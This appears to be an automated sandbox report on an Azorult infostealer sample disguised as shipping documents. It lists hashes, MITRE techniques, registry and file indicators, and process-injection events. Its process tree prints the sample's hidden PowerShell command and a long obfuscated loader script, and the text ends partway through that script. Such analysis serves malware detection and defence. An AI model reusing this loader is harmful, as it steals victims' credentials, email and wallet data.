azorult | aa17ccd48e6acc9b421bf8ad2441e7cd5cca6c856746c92441fac6cb95709aaf

Analysis

max time kernel
138s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20231023-en
resource tags

arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
submitted
23-11-2023 16:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

AWB-BL DOCS.exe
Size

537KB
MD5

f2d6550bc426b58c63d87172cee52424
SHA1

88f7c69eb8ba6e0d02fa94949bdf5641274ffa6d
SHA256

aa17ccd48e6acc9b421bf8ad2441e7cd5cca6c856746c92441fac6cb95709aaf
SHA512

17237724f15f7bd79d2affa935e566755b8beac91d120a25ccbd7089cd995ec7cc2c27519bf42b8844db870d7a0bd2b638ab0ee54bf1f5c526d76af519164882
SSDEEP

12288:PDzHGJ9vnCOoCeogCE8LO6WjHkScxy7iVvyc:r6fvFoChE8LOVHj7Sb

Score

10^/10

azorult collection infostealer spyware stealer trojan

Malware Config

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Loads dropped DLL 5 IoCs

Processes:

AWB-BL DOCS.exewab.exe

pid process

4768 AWB-BL DOCS.exe
4888 wab.exe
4888 wab.exe
4888 wab.exe
4888 wab.exe
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
4768	AWB-BL DOCS.exe
4888	wab.exe
4888	wab.exe
4888	wab.exe
4888	wab.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

wab.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	wab.exe
Key opened	\REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	wab.exe
Key opened	\REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	wab.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

4888 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

3440 powershell.exe
4888 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3440 set thread context of 4888 3440 powershell.exe wab.exe

pid	process
4888	wab.exe

pid	process
3440	powershell.exe
4888	wab.exe

description	pid	process	target process
PID 3440 set thread context of 4888	3440	powershell.exe	wab.exe

Drops file in Windows directory 4 IoCs

Processes:

AWB-BL DOCS.exe

description	ioc	process
File created	C:\Windows\Fonts\banegaardens\fejlrutiners.lnk	AWB-BL DOCS.exe
File opened for modification	C:\Windows\humorlessly\osirian.ini	AWB-BL DOCS.exe
File opened for modification	C:\Windows\resources\0409\Klassekampes145\Markedsfoerte231\homogenize.ini	AWB-BL DOCS.exe
File opened for modification	C:\Windows\Fonts\bldhjertets\svedendes\grouty\storfyrstinderne\pharmacognostical\harplike\grammaticizes\ursprogets\vatersotighed.ini	AWB-BL DOCS.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wab.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wab.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wab.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

4080 timeout.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exewab.exe

pid process

1076 powershell.exe
1076 powershell.exe
3440 powershell.exe
3440 powershell.exe
4888 wab.exe
4888 wab.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

3440 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1076 powershell.exe
Token: SeDebugPrivilege 3440 powershell.exe

pid	process
4080	timeout.exe

pid	process
1076	powershell.exe
1076	powershell.exe
3440	powershell.exe
3440	powershell.exe
4888	wab.exe
4888	wab.exe

pid	process
3440	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1076	powershell.exe
Token: SeDebugPrivilege	3440	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

Processes:

AWB-BL DOCS.exepowershell.exepowershell.exewab.execmd.exe

description	pid	process	target process
PID 4768 wrote to memory of 1076	4768	AWB-BL DOCS.exe	powershell.exe
PID 4768 wrote to memory of 1076	4768	AWB-BL DOCS.exe	powershell.exe
PID 4768 wrote to memory of 1076	4768	AWB-BL DOCS.exe	powershell.exe
PID 1076 wrote to memory of 3440	1076	powershell.exe	powershell.exe
PID 1076 wrote to memory of 3440	1076	powershell.exe	powershell.exe
PID 1076 wrote to memory of 3440	1076	powershell.exe	powershell.exe
PID 3440 wrote to memory of 4888	3440	powershell.exe	wab.exe
PID 3440 wrote to memory of 4888	3440	powershell.exe	wab.exe
PID 3440 wrote to memory of 4888	3440	powershell.exe	wab.exe
PID 3440 wrote to memory of 4888	3440	powershell.exe	wab.exe
PID 3440 wrote to memory of 4888	3440	powershell.exe	wab.exe
PID 4888 wrote to memory of 3060	4888	wab.exe	cmd.exe
PID 4888 wrote to memory of 3060	4888	wab.exe	cmd.exe
PID 4888 wrote to memory of 3060	4888	wab.exe	cmd.exe
PID 3060 wrote to memory of 4080	3060	cmd.exe	timeout.exe
PID 3060 wrote to memory of 4080	3060	cmd.exe	timeout.exe
PID 3060 wrote to memory of 4080	3060	cmd.exe	timeout.exe

outlook_office_path 1 IoCs

Processes:

wab.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	wab.exe

outlook_win_path 1 IoCs

Processes:

wab.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	wab.exe

C:\Users\Admin\AppData\Local\Temp\AWB-BL DOCS.exe
"C:\Users\Admin\AppData\Local\Temp\AWB-BL DOCS.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:4768
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden $d = Get-Content 'C:\Users\Admin\AppData\Local\Temp\disharmonise\stenloese\Dyrekontrollens\Tilfilingers\Advokatbestallingers.Ble' ; powershell.exe ''$d''
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1076
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#borsur Morsomme Krllede Tamme #>$Mizzle = """Ho;RaFDuustnSkcSctPuiProSun B IsUlan DrCoeZocSpolig Pn AiJat SiBuoSpnOl0mo4 C kr{Ba Gr T Pa FepAfaGarCeaDum M(Vr[UnS WtBerPriVanImg S]Ug`$TrPGeeKnrWeiDeoHeiPakFooUdi U)Lo;Sk Mo P Me Kn`$ OCDeaRemMobKaiSvbUni EaPe Se=Ga ArNHoeKrw T-PaO AbKojHyeUnc UtSu ArbEnyHatPeeSt[Eg]Sp Ej(Me`$EuP SeWhrHaiPho Ci UkAdo UiAr.CoLFee NnMcgHmt DhMo Fl/Pd He2De)Fo;Sy Vi Ha Ju SoF soVarWh( b`$TrD We IfineSpa EtVeeSueUn= I0 s;Fo Im`$ExDCoeErfAfeCaaOrtOseCleGa gr-RilHjtur Ap`$ BPWeeCarWoiScoVri Tk UoRai S. SLPyeUnnDegDotPeh S;Se Un`$GyDReeOufLae GaAat HeLieJu+Se=Fd2Hv)ku{Ad I Sa Po Pa H Ek Ar Be`$LaCglaAdm Hb KiprbMiiPhaRu[Sr`$LiDBneRef KeMoa Bt De He S/Po2re]An Fi=An V[ LcMioHynMavEkehjr St D]av: I:FoTKioBjBNoyMot EeFe(Mi`$SaPMie KrLyiUnoTii Gk PoMoiTr. DSBeuAnbInsPatSurShiOvnRegBa(Sk`$ ED Ae EfVeeFjaTytRee peUd,Mo Sd2or)St, S Ga1Un6ge)Ve;Ro Ma Fu`$ GCUnaFom SbEliEnbDriHaa B[De`$ eDUnePufSleHoaSmtVoeDaeFr/De2Kj]Be Pa=Fo RoPNeaGrlSaaDaeFaoSubPriStoWilLyoUdgYnyKa5Mo Sk`$BeCSca UmCob SiDib RiUnaSt[Fo`$NuDOmeAffsneSgaOptTieMeeHa/La2Ch] G Sc6Ul3Uf;De Or Re Te En}Ud La[StSTitSarDiiAmnHagRe]Fi[UrSSuyStsSttFleAumop.RoTAresmxCatXe. BEEinAmcMioKldDiiChn MgPa] B:Ri:WaAEpS SCBrI uICh. UG Pe Dt FSFitScrEqi RnfogSt(By`$RaCPra TmTob Uilub SianaRu)Dy;Un} P`$MuFseeRyiSpgNynFj0Ph=GyUInnMyr PeTicUno NgGanoviOrtUdisuoPenPr0Pr4Fl Pr'Ko6biCEx4 M6Ov4CoCEm4blB N5ViA O5Sn2 T1Gr1Fo5NoB B5Ap3Ha5Ma3Pr'Un;ut`$MaFSee LiHvgArn T1 S=GiUFlnDerfle ScFaokagPinUni Bt Di CoPrnAc0 R4Hy Ur' S7No2Hj5Ga6Lu5BeCHa4PlDTa5Ov0hu4 UCpi5 G0Bi5 S9Un4KaBEm1Mo1Ny6In8tu5Ha6Va5Cl1Ra0UdCNi0 MD P1Id1Pi6BeAFe5Wh1Ar4EuCSt5SmEan5Ca9Ak5PlAHe7Ik1Bo5TiEJu4DeB E5Or6Sr4 E9Pr5StAru7Fu2 P5PaALr4GoBBr5Op7Me5Ej0Re5 BBhe4StCun'Co;Mn`$StF Fe Gi Sg DnSp2Fu= PUSanRer te PcRaoVegPln tiIntDeiSpoMgnKo0Ma4Co Rh'Re7Ov8Ve5 VABa4gaBGr6InFDi4TaDDu5Re0 I5AkCMe7MoEta5SuBNu5 MBFj4DyDSt5PiAHa4LaCPu4RiCCo'Su;Un`$ SFRee KiTegFrnOc3Sk= KUGrnDarWae NcSio SgtrnGiiLotEviProDdnPl0 T4My bl'Un6JoCLa4Yp6un4GrCBa4 SBFi5ReAUn5Us2 G1Up1Sl6gyDKa4DaASt5 T1Sc4 PBRe5Ab6He5 F2At5 uALa1Sp1Al7pa6So5Po1Fr4KuBfi5TiANo4UnD F5Or0In4StF P6 MCCh5RoACa4ChDTe4Fi9Mi5 A6Vi5 fCMe5 TA K4SnCOv1Am1 W7 B7Ac5TrEAs5Ud1Ge5SoBJa5Po3Rh5RaApo6NoD A5UnASk5Ti9Pe'po;Ca`$DaFAme TiBjg Snmi4Ra=SpUBrnJarMie AcKloAfgFonCriTitAgiAcoFinFe0Do4Ut Pl'Co4NoCCh4 SBMo4RaDPl5Ne6De5 M1 R5In8Sk'ty;Pa`$NoFcoeAfi TgHon F5Cr=BeUSunurr SeSocPuoingHenSuiCotSiiPooRgnTe0Ak4Fr Mo'Re7Ba8 F5AkA F4 ABAn7Ne2 P5Gl0Ku5ReBIn4BaASt5Ya3Ch5SsASp7Br7 K5noEEl5No1Un5DuBPr5Pe3Sa5PeAUn'Fr;Do`$AmFfieSiiragSjnru6Ov=arU UnJurPreSncPoo MgTinHei RtBriUroCunTr0Kr4De Mo'Ek6OpDHa6FoBFa6KrCDa4DaFMi5 BAMi5soCGy5 f6Dd5 hE R5Mi3Bl7On1Ap5HaEKu5Cy2 L5FuADe1 A3Ca1MeF S7Di7na5Bl6Un5SlBDi5 LA L7PrDSa4Sy6 T6DeCNo5Ry6De5Ul8Zy1Pr3Re1ViFIn6NoFHi4KwASk5PaDUk5 s3On5 V6 Z5noCIl' P;Ne`$GeFAreBoiImg TnSp7Ni=inUGrnForHueSlcGaoDeg BnMoiNot WiHooStnBu0 B4 S Sv'Fa6UpDch4LaAHj5On1Mi4HoB E5Pl6Ca5Ad2 P5WeAmu1Da3Ms1CeFfo7 P2Te5OvEHo5Pe1Me5ExEUn5Re8Al5DaAMa5 RBFa' G;Vi`$AbF beGeiOmg InCh8Ri=ArUKonStrKaePecPloRegInnCoiTitVeiAloBonVa0Un4Gr Pe'Dy6InDUn5NoABi5Pj9Mu5Vs3as5AsACo5SeCMi4ArBLi5SlA j5koBMi7MiBRi5 SA T5 F3Ma5BeARo5Sq8Sc5DiEAg4InBPr5PrAUn'Br;so`$ BF GeCaiChg RnEg9er=LeUInnUirAkeCucStoCog Un FiFrt finio TnRe0Af4Ud Lg' N7Ca6Ov5un1He7 R2Op5AnALe5Us2Sa5 E0 G4 FDTi4ma6Sa7Li2Fo5 E0Fl5 LBPo4AaAHe5la3 n5idANa' O;Ka`$LiMOpo GrStdKeeUnrbllSiiLngCl3In2Po0 I=FlURenKlr MeBrc PoAfg DnFoiintRgiEko TnSt0In4Sl Am'Br7Ce2An4Un6Pa7vaBLe5HaALy5Un3 S5caAco5Lo8Fe5TrECa4SeBKa5 KA T6LuB R4Be6Sr4 FFCo5UnA M'Sp;Pe`$FoMUboBurPrdGreAurAzl FiMegPh3 M2In1Sl=UnUCin RrSueVic So RgfinReiPit BiVao Onbj0Ry4 A Un'Pr7BeCSh5Am3 S5veETy4FaCBr4StC S1Bo3ba1SeFEl6 HFBr4 CAKn5exDHe5ha3Br5cy6Pr5 fCKr1Ab3fo1DeFFl6 SCda5SeAUr5 FERa5Re3Fi5AmANa5FlB G1 o3Pr1 GFNe7SaEKo5 S1Th4CaCFo5In6Me7InCan5An3sa5baEHo4 CCUn4gaCPr1 A3ru1HyFRe7TiEEx4BeA l4WiBsu5Tr0Ba7isC P5 S3Tu5IsEAl4TrCRe4TeCSu'Pr;Je`$ IMChoForBydFoeRerBelNei Sg B3Ve2Un2Bl=SpU Dn Kr FeSpcKroSwgbrnMoi Ft MiEnoCynKo0Do4He Un'Un7Ve6Se5Ta1As4 D9 A5An0Ra5Tl4Fa5SaADe'Si; S`$PlMUko SrvodFoeFyrFolMoiVogUd3op2 r3Pr= MUVinBirEneVecenoFog CnUniRatSuiAroSan A0dd4cu B'Ra6BeFIn4SlACa5MoD v5Un3 C5 T6In5JuCDi1Ve3Ma1FoFWa7Ko7Ve5Ka6Ca5HoBsy5afA u7toD M4sa6Te6CoC B5Do6 R5Pi8Sp1 D3Mi1DeFRe7 D1Gu5 EAAc4 M8 P6KrC H5Te3Hu5 Z0Ad4NoBRh1Ek3ma1CaFEn6lj9 S5In6 O4YuDAn4ImBSc4HeA B5VaEMi5 S3ch' T; H`$CeMFroUnr Td PeUdr FlsaiTeg h3Pa2Mi4Zi= IUinn Gr HeTacGeoGugRanMaiditPli Uo MnOp0La4Ud un' X7OrCTo4deD T5 AAMi5CoEGe4BeB S5FoAMo7In9ra5Im6Bu5Co3be5UnASt7Lk2Ra5DaE U4MyFUn4ReFOv5Pi6Co5 O1Ls5 W8Ma7 IEFo'Hu;Ki`$DyMSko FrLidToeArrDrlSuiIng T3Es2 N6Bl=KuUWhnDrrFoeFoc Lo BgTun NiSutDai CoBon U0Ob4De S'Ho7Fu2Gi5SaECa4DiF F6Ne9Ty5Au6Tr5 CAFl4Ad8 S7ta0Ki5Bi9Co7Fo9De5Se6Cs5 T3Dr5PlAun'Ro; U`$SeMFloElrSedSaeMarmelMoiAngSn3Do2ax7Dr=GeUOvnDirSae Pc DoGrgCon Vi UtImiUnoFon F0Fl4 E P'Me7 S6Xy7DaA D6Ko7 E' U; K`$OpMAaosrrSvdbieUnrFrlIdiBigUd3Su2Xi8 P=KaUAknZor EeSuc No BgSmnRuiMytDeiPeo unTr0Ap4Ba em'os6De3Mo'Ec;Ov`$EmDForPeaVagmeoStnArfChlAbyEr=MeU SnBarSteWacInoXigKdnWaiMatAriDeoAvnOp0el4Hy Un'Ar7YoAFr5 S1Me4SkASu5lo2Te6coDPi5StAVa4AaCEn5Tr0In4SdAGe4 CDTr5ClC A5ClAFi6PlBPl4Ar6Ph4TrFZo5SlA G4LaCDr6To8So'Fo;Ep`$ PLana Frlma TmGuiNed Se O No= T UdULonAurnoefocProRigDinSkiSktCaiHooDvnAp0 A4Su sp' S5 F4Su5NtAEn4 GDEd5 N1Te5ReATr5 P3Ud0SkCDo0 CDRy'Pe;GufPouOonCecPutFei Ao LnUd ArP ZaRelMaaSce DoSebSeiAloPal ToPrgEnyPi3be Ro{ScP SaBurStaVrmka Wh(Or`$HvUden UrToeHyqliuPri jtFoaDulGe,Br St`$CyVBjirer NkKrsLeoDumGesSktHeeChsAn)We A la Sl Pa Tr;Ri&pe(Da`$SuM AoPrr Nd SeTorMelHaiGugRh3Se2Em7Sa)Br Tr(LeUFrnBrr PeCec UoTrgVanKui BtVaiVaoMonUd0By4 L Ar'Te1TrBDa7in0 P4kl9Hi5 BASa4HeDLe5 H9Sp5Si3 O4 A6le4PhBNo5Fo1 f5gi6Qu5In1gr5Ag8Fo5NoAHu4 RDSk5Ko1St5StAFl4MeCSk1BiFFr0Te2Sy1NeFFl1Or7Ar6Ym4 G7KnEBa4loFUn4DoFTi7CoBTr5sa0Or5Di2Fe5JoESa5 B6Ro5in1Me6Ov2Wr0Ta5 C0Pe5En7UnCDi4MoABe4 SDFy4AlDUd5NeABr5Ta1Po4BrBPe7GlB O5Bl0la5Ti2Cu5UnEsp5Aa6Cr5lr1Lj1 F1Sn7Fo8Sk5 RA M4SmB P7TrEAa4PrC C4alCOv5 LA U5As2Re5 FD R5 W3Ar5St6Sc5CrAMo4 ECSt1At7 T1 T6Dr1KiF H4Re3Ta1FoFPr6 p8 I5Po7Al5EkABe4 CDCr5UdAGr1Tr2bi7Me0Di5RkDBl5Ve5Po5LaACa5BrCSt4InBAu1reF A4 U4 S1BeF U1IrBBo6 T0 A1Be1Un7 F8Ek5Ba3Ch5Pi0Ha5AlDPo5UnEUn5In3Ar7RlE F4BoCun4TeCAl5TrACh5Di2Re5FlD P5 T3Wh4 U6th7 ACim5 HEOd5BiCRe5Ti7 K5DeA K1SnFMy1Ga2Ac7 AEre5Sk1Bo5 SBTh1TeFNy1TaBKo6 O0Le1 M1Ro7 F3ha5Si0Fl5JaCMu5VaESo4OvBBi5 L6 G5Sy0pl5Sa1Bl1La1Op6UnCBa4SoFFa5Je3Bl5Ta6 N4SaBKl1St7Un1DrBMi7 f2Fi5He0Mo4 BDOe5SuBre5HyA D4flDKa5Kl3Os5In6Bu5 C8Hu0UdC S0NoDSt0Ri7Re1Hv6Ti6Ae4Re1 T2 V0 KEGu6Re2Pl1Pa1 F7LeAUs4HuEPo4OmAAd5DiEFy5En3As4VlCAn1Vo7So1alBUn7Op9 D5AnAPi5 S6Na5fi8Pe5Ca1Cu0YdFRe1Tr6 K1FiFmu4Py2 b1Lo6Im1Ek1Sk7Su8 S5doARe4PrBOp6PaBBr4No6Am4 EFSi5AzA C1 C7Su1TiBTe7Eq9Lo5SaAGe5da6Pa5Re8Tr5An1Mi0ovEwo1Ti6Or'Ev)Pr;No&Re( B`$PrM MoforDrdireRerSklKriEngOv3un2 F7Pa) S I(BeU PnCor BeBocToophgBun KiHvt Ai Ho Mnpa0Su4Ta La'Co1GoBDe7OuCAf5MoADr5Su3Wh5Tv3Tj5CoACo5Kn2Ud5LeAVa5Li2Qu5ArDSt4AmDMa5LrEFo5Ba1af5MoA K4CaDTi5Bv1Ka5FyAPa1FiFAg0Fo2 p1AfF B1HeBSe7Va0Fl4Li9Ce5SuAMl4TaDBj5Ac9 P5ur3ns4Hu6Va4KrBSt5Fo1Le5Te6 j5In1Su5Re8Le5LaABr4CyDAa5 k1va5 RAMe4HuCKi1 t1Fi7 A8Li5ChAEn4 tBBo7tr2he5UnABe4DeBLa5tr7 C5di0Ti5 TBNo1Pr7Ho1OpBSh7Ph9Tr5MeATu5Vr6Ba5Da8Pu5 R1 U0TrD S1Wh3Go1 MFSk6He4Ro6InBAb4Un6St4GoFDe5 uABa6Pe4An6Be2 T6Ch2Ta1 SF S7HeFSp1 S7Il1TeBTo7Ov9re5FoABo5Ti6Su5Dr8Un5Ne1Ko0FoCUn1Wo3 c1UnFMa1 MB S7St9di5HiAHo5 E6He5 R8Ca5 p1Fa0InBKk1Fu6 G1Ap6Si' L)Ma;Re&Co(Af`$MoM KoInrPhdReeBlr BlDaiKag U3Un2Va7Af)Sy Ro( SUBonForSaeboc ToUrg MnOui StPhi ToHan B0Ko4Ud So'Ju4VeDMa5 EAWa4HeB S4HlAre4SkDKo5Bo1Po1BuFWa1UpBCa7 VCTr5InASu5Be3De5Hj3 J5CeASe5Fo2Us5 BASp5ha2Lo5seD D4KaDAn5ShE E5bl1Br5LsAPr4RoDId5 P1Sn5ScAGo1 l1 D7Tr6Al5Ti1Un4sy9 A5Ki0ha5Mo4Fr5HeAAp1Ch7 T1MiBVi5Di1 I4SuAPl5 M3 S5Ti3Dn1Ku3 U1MeFCo7PaFGa1Be7Va6ae4Fr6HeCBo4En6 L4 SCFr4HaBAs5HeAAg5Re2Af1So1Fo6MaDMo4TyAmi5To1Co4JdBEr5Sa6 o5ud2Op5OuALo1Al1Ko7Bl6Af5Fe1Am4ReBSa5ReALi4MiDSo5un0Be4KoF A6AsCBl5HuADu4DoDSo4In9Ka5Li6Ph5BuC B5 LAAn4 FCKl1 T1Di7Li7de5MaEKi5Ta1Ba5AfBEy5 D3Ol5 NAQu6TrDIs5LiAFi5Ti9dy6 D2Iz1Jo7En7Re1In5NaARe4Un8Sr1Le2De7 S0Yo5BaD S5 i5Ko5UdAAb5 LCKo4AnBWh1JaF K6SaCGr4Ba6Sh4UdCbr4PlBTj5HoAte5 O2fr1Ei1Fo6CaD A4DyA O5fo1Bg4SkBGu5La6 K5 s2Ud5 SALm1De1Ac7De6Se5Le1Sc4CaBTe5CeARe4 BD I5Ka0 T4OuFPr6SeCSt5FyA U4 IDAu4 M9 P5Un6Sk5HiCGo5ReAPa4 VCDv1Bu1Do7Hy7Sa5PrESe5Je1Ph5HaBBr5Sn3 S5SuABl6FoD N5 LAOu5Ae9Mo1 S7 C1Un7Ar7To1Br5 RAUn4Pe8De1Be2Mi7Ce0Av5OmDAl5Le5Al5ChA S5PiC A4 DBFo1whFKr7 D6Ek5 G1Aa4PoBBa6KrFHu4 DB B4IsDRa1Wh6No1No3oc1PrFUn1 P7St1KrBgr7Ch0dm4Sh9Tr5OvAka4reDen5Fi9 C5Ma3Al4An6 A4SeBSo5de1Al5Ja6 M5Fe1Sy5Pa8Or5DaAPe4DeDma5ty1 d5 LASp4 RCGo1Ak1Tr7Dk8Mr5liAKa4NoB B7Sk2ga5scA T4MuBpi5Sq7Bl5Ki0 A5BeBNg1 T7 W1HeBGo7 N9Re5HiAVi5Se6Be5tr8Vi5Su1Le0FaAUn1Af6Be1 O6No1Sk1 O7Ni6ma5Bl1An4an9 R5 T0Hj5Ro4Ju5DeACl1Re7 S1ReBSp5ar1Re4CeABe5Gu3Ca5Pl3 E1 R3ps1 SF M7PrFPe1Di7 S1SyBEn6 BAOu5Sk1Da4CyDSa5KaAGu4EiEKa4GlATe5An6Tr4ReBTi5BrE V5Fo3bu1Af6Hn1 U6Ke1ny6Be1Un6 J1 P3 O1anFBu1 HBCe6Mo9Ob5pr6Kb4GaD A5Bo4Op4AtCFi5Aa0 L5 R2Pi4MiCRo4 ABBj5beA M4EkC S1Su6Be1Co6Va'In)Pr;Re}UdfjuuIknFocpatPhi EoStnFr KaP raChlWaa GeUnoambShibioHelFuoUlgLlyHm2Co Po{StPruaParZuaChm U Sk(Ga[AnPSua IrPra RmFoeTatToeHerSl(FePTioFosPeiDytDeiMsorinRe Sv=Ma R0Ln,La KoM Ma BnMidUraSitRnoRerMoy c C=Ca No`$DaT frhyuTreVa)He]Sy Al[UpTFoyInpPreke[Pa]Ec]Va Pl`$AaCMoeEulKaoTisTiiLyaPe, f[EnPElauprAdaJamRueOutPre Cr G(ScPPho MsViiLut FiBio En M so=An Va1Nr)Ny]Ca Fo[SyTrayUnpNoeSk]Sc Ch`$LnGDilSyaDitSthUnvCrlBo1Qu2No1cae VkSulFoiTikFakdeeArsRe g=Ca fo[inV So KiExdhi] k) s;Ru&Be( B`$DrM Oo DrPodSteBorUnlViigag L3St2Fo7Fa)In S(SwU TnBarFoeVac MoHugDenUbiAatCriOvo Gn C0In4Re In'Su1BaBEm7Va9Eq5 T3Pu4Sp6Te4Cr9Ba5 SABe5 T4El5De4 K5Pe4Ch5faA S5Su1Ov5RoASt4ShDSp4TrC T1RaFPa0My2Hi1FoFIm6un4Ld7MaETr4KuF F4orFSu7KaB S5Br0Ba5So2Ov5DrEFi5De6Ze5Bi1Ki6Ca2 C0 C5In0St5Kr7 BC s4BeABr4IlDEn4ThD K5ReAOp5Si1Su4TeBNe7DiBAa5Ag0Sk5 M2 G5 AERe5 P6Th5Re1Bo1Hj1Fn7foBUn5ReANe5Pa9 U5Af6 S5Ko1 C5RiAAl7YnBDe4Sc6El5 T1Ho5JoE M5Sd2Ha5Sl6An5UnCAn7 sE S4EqCMa4OuCKa5VeAQu5Fu2 S5SyDDu5Ku3 N4Bl6Sk1Ma7ba1Ta7 R7Dd1Sy5SeAFr4 p8Pr1Gl2Bl7 R0Sa5 ID L5 P5Se5KrAGr5inCmc4 BBBl1KiFPr6GaCKn4Hv6Fl4 ACDi4TyBDi5TrABa5Th2Mu1Ve1Be6AfD B5MiATa5 D9No5Os3em5AcA M5anCMi4SvBKo5Fo6 t5Ka0Wl5Pr1Sl1Su1Fo7FoETr4 TCfo4PrCDo5FoATe5Fo2Sp5FiDDi5De3Ch4Fo6Om7De1Da5SiEPa5Un2le5 EARe1Je7Su1StBSo7Br9 F5SnASn5He6Fa5re8Ci5Am1Vi0Ma7Os1Fr6No1Un6Di1Wa3Se1FlFTh6 L4Re6reCVi4Sl6 S4EnC G4AlBPi5boATr5Wa2Le1Ov1Ot6SkDar5CuAMa5 B9Si5Va3Ph5suADi5BaCch4SaBWo5Un6St5Pr0Ka5 E1Mi1Lo1Nu7TrABr5 O2Be5Ra6De4stBPe1Ud1Co7 GEAd4ElCHu4EfC R5AsASy5Su2Ma5TyDMo5Ly3sr4Mh6in7AfDWa4CeAAs5St6Ud5St3 S5ScBRe5GaA T4JeDSt7MeEAs5laCSt5UnCSu5ImA I4 SCBd4AiCGr6 P2Ef0Tv5Ni0Fj5 N6 IDpa4DiAMh5Ou1 F1Fi6 U1 E1 F7OuBdi5faARe5Ho9ra5Ho6 I5De1An5UnAde7FoBDo4Fi6Ur5Br1Un5RoEDe5St2Mi5Ud6Re5muCBu7Su2Su5 S0 S5KaBTi4NaAIh5Po3Tr5UdAAm1 S7 R1MoBKo7Kr9 U5ShATa5Sl6Ph5Ca8Wo5 L1An0 B6Kl1Cr3Un1SuFup1reB D5Ri9Ru5 VERe5To3In4DeCTj5AfACo1Op6Pi1Af1Sc7LaBUn5BrAKr5 U9ch5Te6Ha5 H1Pi5EaAId6DiBVe4Te6ba4FaFBl5BaAHo1 O7Or1SpB L7so2 A5Em0 H4 MDFr5BrBSj5GeAOp4BoDTy5Ug3Kl5Ov6 E5Mo8ku0HuCLa0duDst0 gFSq1 g3 g1DeFIn1 QBGo7Ti2Hj5Ud0Ac4 CDSl5UnBfu5OvAPe4 SDOp5An3un5 H6sa5Id8 S0StCSi0InDGu0FrE e1Du3In1CaFGe6Ob4 C6 GCUn4Gl6 R4 MCJu4MaB A5DeAGn5Ph2 W1Su1Om7Bi2 O4GrA F5Ur3Kn4GrBVa5en6Sc5MaCWi5 UE B4GaCCo4 FBTi7NoBPy5LyAIm5As3Pa5 EASk5 P8An5 GEew4SaB e5ViA u6Re2 K1Am6cu'Ki)Me;Mi& s( D`$MyMLuoSkrKodSteKarTrlBaiFrgFo3Ti2Se7ud)Pl Re(OvUAlnLirBeeAqcWeogegFinAfi TtDaiBooTen S0Ap4Un un'Mu1ReBAk7Re9Re5 M3Me4Ti6Fo4Sk9Mi5BeAKn5Ab4Hi5St4Mu5Ju4Ai5 bAal5Bo1Dv5 NA C4RaDKa4stC S1Me1un7 WBou5KoA D5 g9Sd5Un6Un5El1Jv5SmAVi7SpCUd5Di0Fa5 r1ba4maCBa4PiB O4PhDSl4PeA C5DeC P4 MBSi5sy0Ga4TiD S1By7 K1CaBKo7Fo9Ga5BeA E5Ek6Ef5ve8mi5Ba1Re0Sp9ev1Ma3 A1 BFDe6Co4Tr6inCSt4Hy6rd4MaC T4SaBko5AbACo5Sp2Se1 O1Gl6HeDEf5OvAMa5Bl9Pr5 K3Co5 PAPr5 cCFi4InBRa5 a6tr5 M0Un5Tr1 J1 n1La7OpCAa5FeESu5Pa3Sk5So3Na5Re6Sk5Na1Om5Ch8El7MyCCh5Ha0 K5Ru1Le4ma9pa5FoASk5 B1 I4prBGg5Hj6Ty5Pi0Ma5 s1Le4MaCSk6Re2Pa0 I5St0Or5 R6GsCPl4BeBex5HyEUn5 B1Ov5KrBTr5hiEPo4HyDMo5 SB A1 S3 E1FoFSt1KrBTr7DgCCl5foAFl5Ln3Me5 U0Ex4LiCZy5 G6 J5TaEEq1 